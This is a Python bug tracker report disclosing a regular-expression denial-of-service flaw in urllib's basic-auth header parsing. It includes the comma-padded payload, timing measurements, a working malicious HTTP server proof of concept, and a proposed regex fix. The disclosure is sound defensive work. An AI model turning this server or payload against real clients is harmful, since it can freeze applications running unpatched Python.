Movatterモバイル変換


[0]ホーム

URL:


homepage

Message356785

This issue trackerhas been migrated toGitHub, and is currentlyread-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

Authorbc
Recipientsbc
Date2019-11-17.01:45:42
SpamBayes Score-1.0
Marked as misclassifiedYes
Message-id<1573955142.95.0.285133152076.issue38826@roundup.psfhosted.org>
In-reply-to
Content
The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable to malicious inputs which cause denial of service (REDoS).The regex is:    rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'                    'realm=(["\']?)([^"\']*)\\2', re.I)The first line can act like:    (,*,)*(,+)[ \t]Showing that there are many different ways to match a long sequence of commas.Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses will reach the regex via the http_error_auth_reqed method as long as the header value starts with "basic ".We can craft a malicious input:    urllib.request.AbstractBasicAuthHandler.rx.search(        "basic " + ("," * 100) + "A"    )Which causes catastrophic backtracking and takes a large amount of CPU time to process.I tested the length of time (seconds) to complete for different numbers of commas in the string:18   0.28919   0.5720   1.1421   2.2922   4.5523   9.1724  18.325  36.526  75.127 167Showing an exponential relationship O(2^x) !The maximum length of comma string that can fit in a response header is 65509, which would take my computer just 6E+19706 years to complete.Example malicious server:    from http.server import BaseHTTPRequestHandler, HTTPServer    def make_basic_auth(n_commas):        commas = "," * n_commas        return f"basic {commas}A"    class Handler(BaseHTTPRequestHandler):        def do_GET(self):            self.send_response(401)            n_commas = (                int(self.path[1:])                if len(self.path) > 1 else                65509            )            value = make_basic_auth(n_commas)            self.send_header("www-authenticate", value)            self.end_headers()    if __name__ == "__main__":        HTTPServer(("", 44020), Handler).serve_forever()Vulnerable client:    import urllib.request    opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())    opener.open("http://localhost:44020/")As such, python applications using urllib.request may need to be careful not to visit malicious servers.I think the regex can be replaced with:    rx = re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I)- Ben
History
DateUserActionArgs
2019-11-17 01:45:43bcsetrecipients: +bc
2019-11-17 01:45:42bcsetmessageid: <1573955142.95.0.285133152076.issue38826@roundup.psfhosted.org>
2019-11-17 01:45:42bclinkissue38826 messages
2019-11-17 01:45:42bccreate
Supported byThe Python Software Foundation,
Powered byRoundup
Copyright © 1990-2022,Python Software Foundation
Legal Statements

[8]ページ先頭

©2009-2026 Movatter.jp